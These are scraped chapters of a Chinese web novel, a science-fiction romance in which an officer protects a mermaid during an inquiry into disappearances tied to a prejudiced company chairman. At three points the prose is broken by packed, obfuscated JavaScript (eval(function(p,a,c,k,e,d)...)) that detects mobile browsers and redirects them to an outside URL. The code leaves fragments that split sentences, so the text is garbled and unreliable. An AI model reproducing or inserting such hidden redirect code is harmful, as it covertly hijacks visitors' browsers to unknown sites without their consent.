d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029871|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 唐彦羽下意识咽了咽口水，犹豫了一下，接着像是豁然开朗，抬眼看向对方欲言又止，斟酌语气道：“解委员……您这么着急，是因为上边催得紧吗？这事确实不好查，可您也不能随便找个人背锅吧，毕竟……” “谁说我要找人背锅了，我办事什么时候冤枉过人了？！” 提到这个，一向自恃清高的解临江眉头紧锁，立即反驳道：“如果没有那就是没有，谁催都没用！” “是是是，”唐彦羽连连点头：“我知道的。” 这么一打岔屋子里的压迫感瞬间减少大半，解临江似乎也没兴致再过度逼问，看了看被自己吓得如同鹌鹑的唐彦羽，无奈地摆了摆手。 “行了，你们继续复盘经过吧，我先走了。”说罢转身，并不准备再过问。 助理见解临江要离开，立刻跟上，思索了一下低声询问道：“先生，顾少将的审讯就在隔壁，您要去看看吗？” “他？”解临江瞥了助理一眼，哼笑一声道：“如果他不乐意配合，你真以为我们能从他那里审出什么来？” “那可是顾知越，五年来上了八次军事法庭都全身而退的人。” ——— 解临江知道顾知越的手段，懒得去做无用功，收集完飞船系统的情报后犹豫了一下，还是准备再去观察一下那只奇怪的人鱼。 说实话解临江是真想不明白，一个来路不明的异种是怎么受到联盟上下一致欢迎的，就没人怀疑吗？尤其是顾知越，不仅带回家还当宝贝一样护着。 解临江对此嗤之以鼻。 怀着这样的心情，解临江来到洛尘所在的船舱外，只见走廊里正站着几个人，盯着紧闭的舱门十分踌躇的模样。 解临江愣了愣，紧接着快步上前，眉头紧锁道：“不是让你们看着那人鱼吗，你们怎么站在门口？” 这几人正是之前被吩咐盯紧洛尘的调查员，此刻却纷纷站在门外，而且浑身湿透，滴滴答答的水珠从衣摆落下，神情忧虑。 “解委员……”门口的调查员看见来人稍稍一惊。 “还有你们这衣服，”解临江古怪道：“怎么，这飞船里是会下雨吗？” 那几人面面相觑了一下，其中一人轻声道：“抱歉解委员，我们被赶出来了。” “赶出来？”解临江更奇怪了，“被谁赶出来？” “被那个人鱼赶出来了……他好像不喜欢我们站在旁边，闹脾气用尾巴泼水把我们赶走了。” 解临江：“……” “闹脾气？用水泼？你们就这么出来了？？” 其中一个调查员小声解释道：“真的泼得很凶，一片水花噼里啪啦就打过来了。” 解临江恨铁不成钢，“你们就不会管教吗？！用水泼就立刻警告，两次不听直接动手！这还要我教吗？！” 调查员下意识道：“可是……” “没有可是！”解临江怒气冲冲，搙起袖子，直接打开舱门抬脚冲进去：“真无法无天了，我还收拾不了他！” 门口的调查员眼看着自家委员气势汹汹地冲入，随后屋子内大概安静了五分钟，紧接着一阵熟悉的水花声再次响起。 又过了一分钟，舱门开启，解临江慢慢从里边走出来，浑身湿透，水珠滴滴答答，和下属们同款造型。 刚刚的怒气已经荡然无存，取而代之的是一种深深的无奈，解临江深吸几口气，揉了揉额头，咬牙道：“顾知越的审讯什么时候结束？” “啊？”助理一时没反应过来。 “让顾知越结束了赶紧过来哄人！” 7. 交谈 虽说解临江吩咐人去提醒顾知越，然而实际上等审讯一结束，不等他们的人开口对方已经抢先离开，直奔洛尘的房间而去，压根用不着人提醒。 本来还在担心完成不了任务的下属看着那个已经快速远去的背影，忽然有些感慨—— 难得这位顾少将能和自家委员想法一致，真不愧是人鱼啊。 顾知越回到船舱的时候洛尘依旧不打算理人，见到对方也不主动靠近，远远地在池子中间。 老实说顾知越其实不知道自己错在哪儿，但他默认自己理亏，于是走到岸边蹲下身，缓声道：“怎么了？” 态度十分温和，但洛尘最近被养得脾气骄纵得很，稍稍游过来一点，尾巴一动，不由分说就准备泼一捧水过去。 这个动作顾知越十分熟悉，眼看着那一大捧水就要掀起来，他却没有要躲避或者遮挡的意思，只是下意识闭上眼睛。 顾知越愿意完全接受这看似有些无理取闹的行为，他对洛尘有种异乎寻常的偏爱和包容。 稍稍顿了一下，洛尘还是把尾巴放下，他是个大度的人，对方认错积极，且他心情不错，那就勉为其难原谅一下吧。 感受到水花并没有泼过来，顾知越慢慢睁开眼，发觉洛尘主动游了过来，知道这是原谅自己了，松了口气，摸了摸对方的头微笑道：“谢谢。” 人终于给哄好了，洛尘乖乖靠在顾知越身边吃东西，一切似乎恢复岁月静好，然而这时舱门再次开启。 顾知越看见来人微微皱眉，打量了对方一眼，很不客气地询问道：“有事？” 对方的嫌弃解临江已经是见怪不怪，瞥了一眼洛尘，调侃道：“把人哄好了？真是伺候祖宗啊。” 顾知越把洛尘揽进怀里避免解临江的视线，冷冷道：“解委员是真的很想被举报吗，您门口的记者可都蹲了几个星期了，上次议会提案的风波还没过去，您是还想再上几个月的话题热搜吗？” 解临江：“……” 忍了又忍，解临江强压制住火气道：“要论起来我职位比你高两阶，算你上司，你就是这么和领导说话的？” 顾知越没理他，只是抱着怀里的人，俨然一副全方位保护的样子。 “行了，那人鱼的事我懒得管，”解临江呼出一口气，正色道：“我只想问你，关于今天感染体在星际轨道上入侵的事，你到底怎么看？” “我不是刚刚被审讯完吗？解委员完全可以去看记录。” 解临江哼笑一声：“得了吧，记录仪下你能有几句真话，放心，我身上什么监听器和记录仪都没带，这里也没有外人。” 说着目光瞥见什么，严谨地又加上一句：“你怀里那个除外。” 听见这个顾知越目光微变，强调道：“小尘不是外人。” “行行行，”解临江懒得掰扯这个，“反正现在完全是私人谈话，你能说两句真话了吗？” 面对这个“请求”，顾知越没有第一时间回复，但也没有反驳，而是看着对方在斟酌着什么。 这个反应让洛尘稍稍有点意外，不管是他已知的情报还是之前所看见的，都证明这两人关系不佳，甚至有点针锋相对，想不到此刻顾知越竟然会认真考虑对方的提议。 “这件事不能在联盟公开上报。”顾知越提出条件。 解临江爽快应下：“感染体在星际轨道上出现，这种事联盟是不可能公布的，瞒还来不及呢。” 得到应允，顾知越终于说出猜想：“这次感染体一定是人为投放，八成和徐牧现在调查的失踪案有关。” “为什么这么说？要知道有些地方私下处理感染体的方法就是放逐到外太空，或许只是巧合？” “首先我不相信巧合，其次感染体说到底暂时还算一种生物，确实可以在宇宙真空中存活一段时间，但绝对不长久，飞船遇袭的坐标周围基本只有陨石，不是刻意为之，怎么可能时机这么好？” 解临江沉思了一会儿，追问道：“那又为什么说和那个失踪案有关？” “这条星系轨道运行了近十年，期间从未出现过意外，就在我们不久前也有几艘飞船驶过，系统联系过了，一切安全，唯独我们这儿遇袭。” “仔细想想，如果一定要找出我们这飞船和其他人的不同点，那就只有我们的调查任务了。” 解临江微微皱眉，反问道：“万一只是恐怖分子随机投放呢？据我所知你们的行程是昨天刚刚上报的，只有安全局最高层知道，对方哪里能这么快确定袭击？” 对于这个问题顾知越没有答复。 洛尘心中嗤笑一声，默念道：那还不简单，你们联盟高层有内鬼呗。 解临江和顾知越对视半晌，大概已经猜到了什么，但两人都没有开口，一时沉默。 联盟高层之间的关系错综复杂，近年来党派纠纷愈演愈烈，这失踪案本来就麻烦，如今又扯上高层和感染体，如果闹出去，这不就是现成的导火索吗？ 洛尘看他们沉默半天，左看看顾知越不言不语，右看看解临江一脸凝重。 洛尘：说啊，八成就是有内鬼而已。 沉默。 洛尘：说啊，说完赶紧回去准备吃午饭了。 依旧沉默。 洛尘：…… “哗啦！” 一道水声猝不及防响起，瞬间打破寂静，水花噼里啪啦浇了下来，顾知越和解临江都没躲过去，泼了一脸水！ 真是麻烦，洛尘心道，内鬼两个字烫嘴吗，沉默来沉默去的。 如此想着洛尘又一甩尾巴，泼了一捧水过去。 解临江被劈头盖脸泼了两次水，而且不知道洛尘是故意还是不小心的，两次的水花都比顾知越的大，呛得他差点在岸上溺水。 “咳咳咳！”解临江连连后退，惊恐道：“他怎么又发脾气了？？” 顾知越则是赶忙安抚，一边柔声哄人一边对着解临江嫌弃道：“你快走吧。” “？？怎么搞得好像都是我的错，我干嘛——唔，咳咳咳！” 这下子解临江是真的怕了，转身就准备走，不过强大的责任心还是让他停住，最后询问道：“接下来你准备怎么办？” “自然是继续查那案子。” 解临江犹豫了一下，强调道：“这案子你悠着点吧。” 顾知越瞥了一眼对方：“你们真打算强行把这雷埋着？不处理也不让人处理，等存护帝国那边发现你们打算怎么办？” 解临江眉头紧锁，反驳道：“你是不知道存护帝国那边胡搅蛮缠的本事，还有不管你信不信，我并没有阻拦人处理这件事，我只是强调在处理完之前不能散播出去，至于今天的调查，没有我也会有其他人过来，我也算秉公办事。” “你没有拦？”顾知越追问：“这么一个案子就单单抛给徐牧这个组，权限基本什么都没给，委员会明摆着不想人好好查吧。” “这我哪知道，委员会又不是只有我一个人。” 对于这话顾知越没表态，也不知道信没信，只是道：“你竟然会怕存护帝国胡搅蛮缠？” “重点不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029872|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡搅蛮缠，重点是他们那个首席执行官真的很麻烦。” 触发关键词，洛尘不自觉抬起头来。 解临江像是十分头疼的样子，“上回因为矿星资源分配的问题，两边有争议，那个执行官恰好路过，一言不合直接越过谈判，带着人就把当时驻扎的防卫小队生生打跑了。” “本来外交部还想着带着武装部队强行登录赶人走，结果被打得后来都不敢提这事了。” 有这事吗？当事人洛尘仔细想了想，哦，好像确实有这么一件事，我说后来怎么不闹事了，原来是被打怕了。 顾知越挑了挑眉道：“有所耳闻。” “所以，”解临江语重心长道：“无论如何都一定不能让那个执行官知道，你听见没有？” 对于那个执行官顾知越确实知道一些，战功卓越，百战百胜，击杀感染体无数，甚至被誉为帝国星系的守护者，据说他曾经单独迎战过四个一级感染体并成功击杀，不过联盟的人少有和他正面对上，毕竟两边也没真正开过战，所以多是传闻，很是神秘。 解临江言辞激烈：“那家伙可不是善茬，简直是个战斗疯子，搞不好被他知道两边真的要开战的！” 千防万防的最高执行官·洛·柔弱无害的小人鱼·尘在心里默默点头：嗯嗯，知道了，听着呢。 顾知越严谨道：“存护帝国也不会这么偏激。” “怎么不会！”解临江激动道：“你是不知道，我感觉那个执行官已经把他们帝国首领都给架空了，不知道用了什么恐怖的手段，帝国的人全部唯命是从！” 洛尘一边听着一边随意晃了晃尾巴：什么架空，什么手段？联盟的人真爱脑补。 此刻洛尘心情颇好，把自己的传闻当八卦听，谁知下一刻这“八卦”的画风突变—— “而且，据说那个执行官有四个手臂，每只手上十个手指，两个脑子八个眼睛还有一双翅膀！” 洛尘：……？ “全身皮肤焦黑，满口獠牙，嘴里有剧毒，被咬一口不出一分钟就要中毒身亡，而且只吃生肉，人和异种的肉都会吃，一顿至少要吃二十斤肉！” 洛尘：…………什么鬼？ 就在洛尘下一秒要掀水彻底让解临江溺死在岸上的时候，顾知越突然挺身而出，义正言辞地打断了解临江的话：“行了哪有这么夸张，一听就基本是编的。” 洛尘心中一动，可还没来得及有其他反应，只见顾知越思索了一下认真猜测道：“我估计那个执行官可能是个有虫子基因的变种吧？所以会有很多触手和复眼之类，然后头会比较大，所以看着吓人，吃得比较多……” “虫子？那确实有可能……” 解临江思考道，但不知抬头发现了什么，脸色一变，有点害怕地指着顾知越后边：“那个，他好像又生气了？我先走了！这案子你反正自己看着办！” 说完不敢再停留片刻，转头就跑了。 眼看着解临江急匆匆离开，顾知越后知后觉地回头望去，只见洛尘靠在岸边正偏头看着自己，见自己转过身，笑着眨了眨眼睛，抬手示意人靠近。 洛尘笑得很可爱，但不知道为什么，顾知越某种神奇的第六感正在疯狂让自己逃命。 然而感情还是战胜了理智，顾知越没有太多犹豫，倾身靠近，询问道：“小尘？” 洛尘粲然一笑。 “哗啦啦！扑通——！” 水池上猛然溅起巨大的水花，顾知越整个人被洛尘一尾巴拍下了水！ ……你才有触手和复眼。 8. 泼皮无赖 徐牧发现顾知越浑身是水的从房间里出来的时候，一开始以为是解临江故意干的事，直喊着要追上去讨个说法。 然而在他知道是洛尘生气把人拍下水里之后，神色一改并严肃地表示对方活该。 “解临江私下和你说了什么？” 解临江说到做到，审讯完便直接离开了，没有再干扰徐牧他们的任务，队伍顺利抵达目标星球，众人收拾好立刻下船，正式开始任务调查。 顾知越一边关注着洛尘的方位一边回复道：“没什么，他问我对那个感染体的猜想，顺便表示有意阻拦任务进程的并非是他。” 边缘星球的安全性不比首都，顾知越不放心把洛尘一个人留在酒店，便带着人一起过来了，本来还担心对方在生人多的环境里害怕，但洛尘似乎挺高兴的，好奇地东看一看西转一转。 “不是他阻拦的？”徐牧不解道：“那委员会还有谁对异种有很大偏见吗？” “一直都有的，只是可能不像解临江这么显眼，这家伙反而是敢作敢当，从不来阴的……小尘？” 眼看着正在糖果摊子那边挑东西的洛尘忽然被身后的男子恶意撞了一下，顾知越立刻神色一凝，快步走过去护住人。 洛尘没有尾巴后外形基本和人类无异，只是眼角还会留有一些鳞片，并且眸色和发色也十分特别，旁人不一定能看出来是人鱼，但基本都能猜出来是异种。 这一路上引来了不少注目，有些是单纯的惊艳欣赏，有些则带着不善的打量甚至厌恶。 后边那个男人撞了人之后还想上前，然而和顾知越对视一眼，气势瞬间就矮了一截，只是还不服气，挥手怒目道：“想干嘛？” 但那只装模作样的手还没能挥下去就被顾知越一把按住：“这话该我问你。” 那男人没想到对方力气这么大，不管怎么都挣脱不开，甚至抓得越来越紧，疼得他脸色发白，最后隐隐都能听见骨头的响动。 “哎，哎！松手，松手！错了错了！” 感受到那力道越来越恐怖，男子赶紧求饶，就在他以为自己的手就要断掉之前对方终于松开，他一个踉跄摔得打了个滚，不敢再多言，匆匆跑了。 徐牧看着那个人跑远，意有所指道：“看来有偏见的也不止是委员会啊。” 实际上联盟一部分人一直是不接受异种的，而这种边缘星球，相对来说接受度高一些，异种人员也更多，但同时极端矛盾也会更多。 顾知越瞥了一眼跑走的那人，没有多管，转身看向洛尘，温声道：“没事吗？” 洛尘似乎对刚刚的事并不怎么在意，摇了摇头，随后继续把目光放在那些亮晶晶的糖果上。 顾知越见他喜欢便让摊主各个来了一份。 后边的徐牧考虑了一下，从折叠包里取出了一件斗篷想给洛尘披上，洛尘倒也没躲，只是看着那斗篷稍稍皱了皱眉。 “算了，”发觉他的情绪顾知越立刻拦下徐牧，“他不喜欢被束着，我牵着他，没事的。” 说完顾知越没有直接上手牵住人，而是很礼貌地伸出手示意对方是否同意，称得上很绅士的一个请求，按理说洛尘八成是看不懂的，但他依旧这么做了。 洛尘偏头眨了眨眼睛，一时没有动作，顾知越也不催促，足够认真，足够耐心，也足够温柔。 两人相视几秒，最终洛尘笑了笑，做出回应，伸出手握紧对方。 ——— “耐塔发车公司于五十年前成立，专门运营边缘星球的城乡路线，算是边缘地区三大运输公司之一了，业内评价中规中矩，已经派人去失踪线路上调查了，我们先来总公司例行询问。” 徐牧看着屏幕上的资料汇报道。 顾知越抬眼看向面前高耸明亮的大楼，在这种边境地区，这样建筑仿佛鹤立鸡群，十分显眼。 走入大厅，内部的装修和设备更是华丽先进，与这个有些落后的星球比起来显得格格不入。 后边的唐彦羽啧啧称奇，喃喃道：“运输业这么赚钱的吗？话说都赚这么多了，干嘛不去首都发展？” 徐牧听见他的疑问挑眉道：“不敢呗。” 运输行业哪能这么赚钱，这公司八成有什么偷税违法的勾当，在这边缘地区管理不严得以混得风生水起，但要是跑去首都那可是自掘坟墓了。 唐彦羽不懂这些弯弯绕绕，不解道：“啊？为什么不敢？” 徐牧懒得多言，随口道：“行了，哪儿这么多问题，看路。” 徐牧将之前申请的预约调查录入，系统显示通过，不久后便有工作人员过来领路。 他们申请的权限级别不低，由公司的董事长莱辛亲自接待。 莱辛同意配合调查，但要求不可以有太多人参与谈话，顾知越斟酌了一下，暂时留洛尘在接待室外的等候厅，并拜托唐彦羽照顾，他和徐牧两人进入接待室。 两边就隔着一道透明玻璃，抬眼便能望见，倒也不会有什么危险。 洛尘表现得很乖巧，听话地坐在等候厅的椅子上拨弄刚刚顾知越给他买的小玩意儿。 在顾知越和徐牧进入后，这里便只剩下唐彦羽和洛尘。 稍稍沉默了一会儿，随后不知道出于什么心情，唐彦羽忍不住时不时地向洛尘投去目光—— 一次、两次、三次……唐彦羽暗暗打量着，像是在观察确认着什么。 小尘他……他—— 忽然间，没有任何预兆，洛尘猝不及防抬头，恰好和唐彦羽对上视线！ 那双眼睛依旧是那般湛蓝清澄，但不知道是不是错觉，恍惚间那双眼中泛起波澜，添了一丝意味不明的笑意，唐彦羽心头一颤，呼吸骤停，手忙脚乱地避开了视线。 哈哈，有趣。 看着慌乱无比偏偏还要装作若无其事的唐彦羽，洛尘不动声色地笑了笑，悄悄逗完人，转而又望向接待室内的几人，挑了挑眉。 此时，接待室内。 “您好，贵公司可能和一起重要的案子有牵扯，依照惯例我们需要对公司的一些资料进行调阅，还请贵处通过我组员的调阅申请。” 徐牧按部就班说出诉求，看了一眼不远处瘫在椅子上翘着腿，十分吊儿郎当的莱辛，那家伙甚至连目光都懒得分过来，装都不装，摆明了敷衍。 徐牧感觉头疼，但他还是需要耐着性子道：“莱辛先生，希望你能配合调查。” “啊？你说什么？” 莱辛一副刚刚回过神的模样，转过办公椅，“再说一遍，没听见。” 默念着不能打人，徐牧深吸一口气准备复述，不过这时一旁的顾知越抢先简洁道：“任务需要，烦请通过调阅申请。” 莱辛听完摇头晃脑地想了半天，最后冒出一句：“是什么任务啊？” 徐牧：“抱歉，暂时属于机密，不可以公开。” “哦——”莱辛夸张地点头，挤眉弄眼的样子让人感觉像是脑子不太好，“那任务很重要吗？” 再次给自己做了一遍心理建设，徐牧道：“自然。” 莱辛点点头，随后猝不及防道：“不可以。” 徐牧：“……”他现在很想揍人，本来上班就烦！ 顾知越倒还算平静，提醒道：“莱辛先生，配合安全局调查是联盟公民的义务。” “我不想履行义务会怎么样？” “我们会强制执行。” 莱辛笑了一下，耸了耸肩道：“警官你可别吓我，我难道是什么嫌疑犯吗？你们有证据吗？在这种情况下你们私自窃取或者抢夺的东西都是不合法的。” “当然，如果任务很重要也可以去申请搜查令，但这种情况你们只能慢慢走流程，我公司的法务部随时恭候，想来等各位警官申请完，指不定我们公司资料已经更新了，可能就找不到原始资料咯。” 这番有条有理的话让徐牧脸色稍变，看来这个莱辛不是不懂法，而是太懂法了。 双方沉默片刻，顾知越继续道：“莱辛先生，你要想好，如果真的通过起诉强制执行，你的公司将受到巨大打击，甚至可能直接取缔运营许可。” 面对这个莱辛没有多言，而是很聪明地强调：“这些话可以和我的律师说，我就不作答了，反正我可以确定的就是，现在你们没有任何的理由强制搜查我的私人财产，只要你们敢做，就是侵权。” 懂规则的无赖，最棘手的人物。 顾知越和徐牧对视了一眼，接着缓缓道：“根据记录显示，在案件中，强烈抗拒配合调查的有百分之八十是真凶或者实际参与者，莱辛先生这个举动也算为我们指明了一点方向，多谢。” 这不动声色的威胁让莱辛收敛了一点神色，他看着镇定自若的顾知越，随后忽然又笑了起来，煞有其事道：“哎呀，看来警官真的十分重视这案子啊，怎么，难道……这案子和您家人有关？” 他忽然撑起身靠近，盯着顾知越的眼睛，故意惊讶道：“您家里有人死了？是你爸还是你妈？” “嘴上有点数！你是犯病吗？！” 听到这儿徐牧抢先忍不住了，直接拍桌起身怒斥，由于太急还不小心打翻了桌上的水杯，茶水溅了半身。 “哎呦呦，别着急啊警官，我这不就是说一下猜想吗，你们又不肯告诉我实情，我只能猜了，小心点哦，注意一下形象，这边监控都开着呢。” 忍了又忍，徐牧终是缓缓坐下，只是看看自己湿了的衣服，有好生没好气地道：“借个洗手间。” “当然可以，就在那边，”莱辛调侃道：“要是这样出去别人看见有了什么误会那可不好。” 这话听得徐牧脸色更加难看，估计是实在忍不了了，本着眼不见为净的原则没有多说，直接快步离开。 恶心走一个，莱辛又把目光放到顾知越身上，见对方一直神色平静，故意道：“警官好像不太开心？看来是我招待不周。” “没有，”顾知越的声线依旧有条不紊，“只是有点没想到公司的董事长也能是一个不太聪明的泼皮无赖。” 对于这个描述莱辛只是嗤笑了一下，躺倒在椅子上，透过巨大的落地窗看向高楼下的城市，意有所指道：“来自首都的警官大人，你看看这里，这里是边境，这里适合的就是我这种人，而不是你这种。” “这里依旧属于联盟。” “我当然知道，我是联盟合法的纳税人，警官你有空来管我，不如管管底下那些到处乱窜的外来物种。” 说着莱辛看了一眼城市的街道，满眼不屑。 顾知越打量了他一下，道：“你是个歧视者？” 极端歧视异种人的一个群体，在边境地区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029873|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算稀奇。 “歧视？不，我没有，”莱辛缓了缓，眼中极为轻蔑，悠悠道：“我只是感觉……不是人的东西，就不该和人放在一起。” 话语和眼中的厌恶明明白白，望着这副嘴脸，顾知越忽然淡声道：“我刚刚的话偏颇了。” “什么？” “你不只是个泼皮无赖，还是个自以为是的蠢货。” 莱辛脸色一僵，怒上心头刚要发作，徐牧恰好回来，怒火被打断，他呼出一口气，懒得再绕弯弯，直接下了逐客令。 “好了，我还有事，接待到此为止。” 说着莱辛主动过去打开接待室的门，抬手催促对方赶紧走。 大概是感觉没什么好谈的了，顾知越和徐牧没有多留，依言离开。 “队长，顾少将。” 在外边等候的唐彦羽看见他们出来不由得松了口气，顾知越点头招呼了一下，随后便快步朝着洛尘的方向走去。 此时洛尘依旧乖乖坐在原本的位置等候，顾知越走到对方身边牵起人，贴心地帮忙整理了一下衣物准备带着人离开。 然而这时，本来站在门口装模作样目送两人的莱辛无意间瞥见洛尘，精神一振，像是忽然来了兴趣，立刻上前几步。 察觉到异常的视线，顾知越下意识将洛尘护到身后，看着来人微微皱眉，洛尘则是有些好奇，悄悄探头望过来。 “莱辛先生，你还有什么事吗？” 见对方这个举动，莱辛的目光在顾知越和洛尘身上来回了几下，思索了片刻后豁然开朗，眼中多了丝玩味，低声道：“你的？” 顾知越眉头皱得更紧：“什么？” 莱辛自顾自地以为理清了对方的关系，看向顾知越的眼神莫名多了几分奇怪的亲近，就好像发现同类人的那种亲近。 他的目光又回到洛尘身上，毫不客气地打量着人，忍不住道：“从哪里买的？有门路可以介绍给我吗？或者……你如果愿意转手，我们没准能交个朋友——” 然而话还没说完，顾知越侧身一步完完全全挡住视线，莱辛这下才发现，此刻对方的眼神十分阴沉，甚至可以说得上可怕。 “滚。”顾知越沉声道。 莱辛脸色稍变，他有点被吓到同时又有点意外——刚刚谈话的时候自己那般跋扈都没让顾知越有太多情绪波动，哪知道现在单单这几句就惹得对方仿佛要杀人？ 这种对异种的维护莫名刺激了莱辛，他强行忍住心中的惧意，不怕死地上前一步挑衅道：“抱歉我的错，看来这个玩意儿正当喜欢，不过没事，我也能再等等，或者我只借个几天，价钱嘛……” “再说一次，滚。” 看着上前的人，顾知越毫不犹豫，右手直接压住腰间的枪。 看清武器的瞬间莱辛骤然停住，他额头上止不住出现冷汗，但还是强装镇定道：“警官，再强调一遍我们有监控。” 顾知越眼中冰冷，“你可以拿命试试。” 对峙了两秒，莱辛很快败下阵来，皮笑肉不笑道：“行吧，没机会交朋友的话，恕不奉陪也无可奉告。” 说完扫了一眼周围的几人，冷笑一声径直返回屋子里。 顾知越看着人回去，和徐牧使了个眼色，接着转身面对洛尘神色一缓，安慰了几句又拉着对方往后退了几步，最后忽然给洛尘戴上了一副耳机。 耳机中正在播放一首优美的钢琴曲，这耳机的降噪和音效都是上佳，且乐曲前奏舒缓，十分悦耳动听，洛尘很快渐入佳境。 顾知越神色温和，站在洛尘身边，轻轻晃动手指打着节拍，而就在音乐旋律即将进入最高潮的那一刻，顾知越忽然手上动作一转，示意人向前看去—— “砰隆隆——！！” 莱辛办公室里突然传来爆炸声，但并没有火光出现，而是大量水源喷涌而出！ 刚刚的回到办公室的莱辛就这么水灵灵地被强大的水柱给冲了出来，“啪叽”一声滚了两下，刚好摔到几人跟前。 眼前水光炸开的绚烂一幕和耳机中的音乐高潮精准卡点，完美配合，恍若专门定制的实景MV，百万转场，身临其境！ 洛尘惊喜万分，甚至忍不住拍了拍手。 几人站的位置刚刚好，不会被水波冲击又能最近距离地观赏，莱辛这会儿就在众人脚边，如同被□□拍上岸的鱼，时不时就扑腾两下。 顾知越摸了摸洛尘的头，随后蹲下身贴心道：“莱辛先生，看来你遭到了危险袭击，别担心，警方会立刻赶到，我们也会协助帮忙调查。” 莱辛还没缓过劲儿来，因为呛水疯狂咳嗽了半天，听见这话瞪大眼睛想要说些什么，不过顾知越眼疾手快把人一把按住，与此同时，不远处也十分“及时”地传来警车的鸣笛声。 顾知越提醒：“莱辛先生，你无法拒绝正规的出警调查。” 无法让人作为“嫌疑人”调查，那就让人作为“被害者”调查。 听见越来越近的警笛声，莱辛的脸色一阵青一阵白，看着面前神色从容的顾知越和他身后满眼欢喜、真心实意把自己当猴看的洛尘，一口气差点没喘上来，用最后的力气暴起怒吼道：“你个g——！” 顾知越眼疾手快，“砰”的一声把人的头狠狠砸下，强制消音。 你个狗东西！贼喊捉贼！！ 9. 转变 “不是说造成管道破裂就可以了吗？怎么炸这么狠？” 警局里，莱辛正在审讯室接受警方例行问话，徐牧在外边等候的时候忍不住小声问道。 顾知越正在给洛尘挑曲子听，对于这个问题他只是反问道：“这样不好吗？” 徐牧了然：“真生气了啊。” 挑到了喜欢的曲子，洛尘眼睛一亮，顾知越帮忙把耳机戴好，动作十分温柔，确认洛尘听不见外界的声音后，淡声回复道：“是他作死。” 望着洛尘的眼神有多温柔，回复的语气就有多冰冷，爱与恨体现地淋漓尽致。 徐牧看了看对方，最终只是点了点头：“你说得对。” 正在这时，审讯室的门开启，负责的警员从里边走出，表情有些无奈，看着众人欲言又止。 顾知越平静道：“他什么都不说？” 警员叹了口气：“调查员确实在耐塔公司的记录里发现了几份异常的乘客信息，但是莱辛全部否认，强烈要求律师到场，并且……” 警员斟酌了一下，压低声音道：“我知道各位的任务级别很高，但内容属于机密，暂时是无法正式立案的。” 大家都门清，这种任务虽然级别高，但实际上没放开多少权限，不能放在明面上审判又不允许私下里秘密解决，属实进退两难，八成是委员会里意见不统一整出来的麻烦事，左右不讨好。 这些顾知越自然清楚，主动道：“我可以进去问话吗？” “当然。” 示意洛尘稍等后，顾知越独自进入了审讯室，莱辛看见来人，瞥了一眼，接着直接无视。 顾知越也没废话，将找到的资料投影到桌面上，平静道：“这些资料显示你在过去一个月里陆陆续续违法调取了十几名乘客的个人信息，并将它们发给了一个陌生用户，且在之后对他们的乘车信息做了手动修改掩饰，你有什么要说的吗？” 莱辛不耐烦道：“我私人爱好而已，调取来看一看算不上刑事案件吧？至于修改，可能当时随手改了一下字体就被记录喽。” 顾知越继续调出信息，开门见山道：“你调取的乘客无一例外都是存护帝国的民众，或许换句话说，都是异种人，现在他们中七人处于失踪状态，是你做的。” 他用的是肯定句。 莱辛扫了对方一眼，深吸一口气，压低声音道：“警官，没有证据不要污蔑。” “信息名单几乎百分之百重合，这些已经完全可以作为证据了，对你的指控是必然的，并且你现在是这个案子唯一的嫌疑人，这种情况百分之八十会被判主谋，你的公司会直接被拆卖，并且余生会在首都的监狱里度过，当然也不排除死刑的可能。” 顾知越缓了缓，接着轻声道：“监狱里不缺泼皮无赖，而且他们可不是像你这样只是口头上的‘无赖’。” 莱辛这种手无缚鸡之力的老板进监狱一般都不会有什么好日子过，或者说绝对会很惨。 两人对视片刻，顾知越很明显感受到对方的隐隐的恐惧，趁此机会他追问道：“和你联系的那个陌生用户是谁？” 莱辛的嘴动了动，似乎纠结了许久，慢慢张口没有妥协而是道：“那你就去起诉我吧。” 这回答稍稍让顾知越有些意外，他能感觉到莱辛已经很不安了，是什么让他在这种对自己完全无益情况下依旧不愿意透露真相？ “尽管去，我不在乎！”莱辛深吸一口气，盯着顾知越一字一顿道：“但你要知道的，异种不具有人权！那些东西就像脚底下的虫子一样，你会管虫子一天死几个吗？” “在联盟没有人权的虫子不会有人在意死活。” 顾知越沉声道：“我更感觉你这种人不该有人权。” 这话给莱辛逗笑道：“很可惜，这是天定的，我是人，我和你才是同类，比如你身边带着的那个东西，你要是哪天失手弄死了没人会追究，但是我如果在这里出了什么事，那你可就——” 话还没说完，“哐当”一声巨响，莱辛连人带桌被直接踢翻在地！ 哀嚎声和开门的声音一同响起，徐牧夺门而入，赶紧拉住顾知越，后头跟着的大概是莱辛的律师，看见这一幕大惊失色，气势汹汹地要投诉。 “顾先生，你在审讯时对我的当事人采取暴力行为，我怀疑你有强烈的个人情绪，现在申请你和我的当事人进行强制隔离！” “还有公司里发生的意外，我认为和你有关，我们将会一同递交给管理局进行举报！” 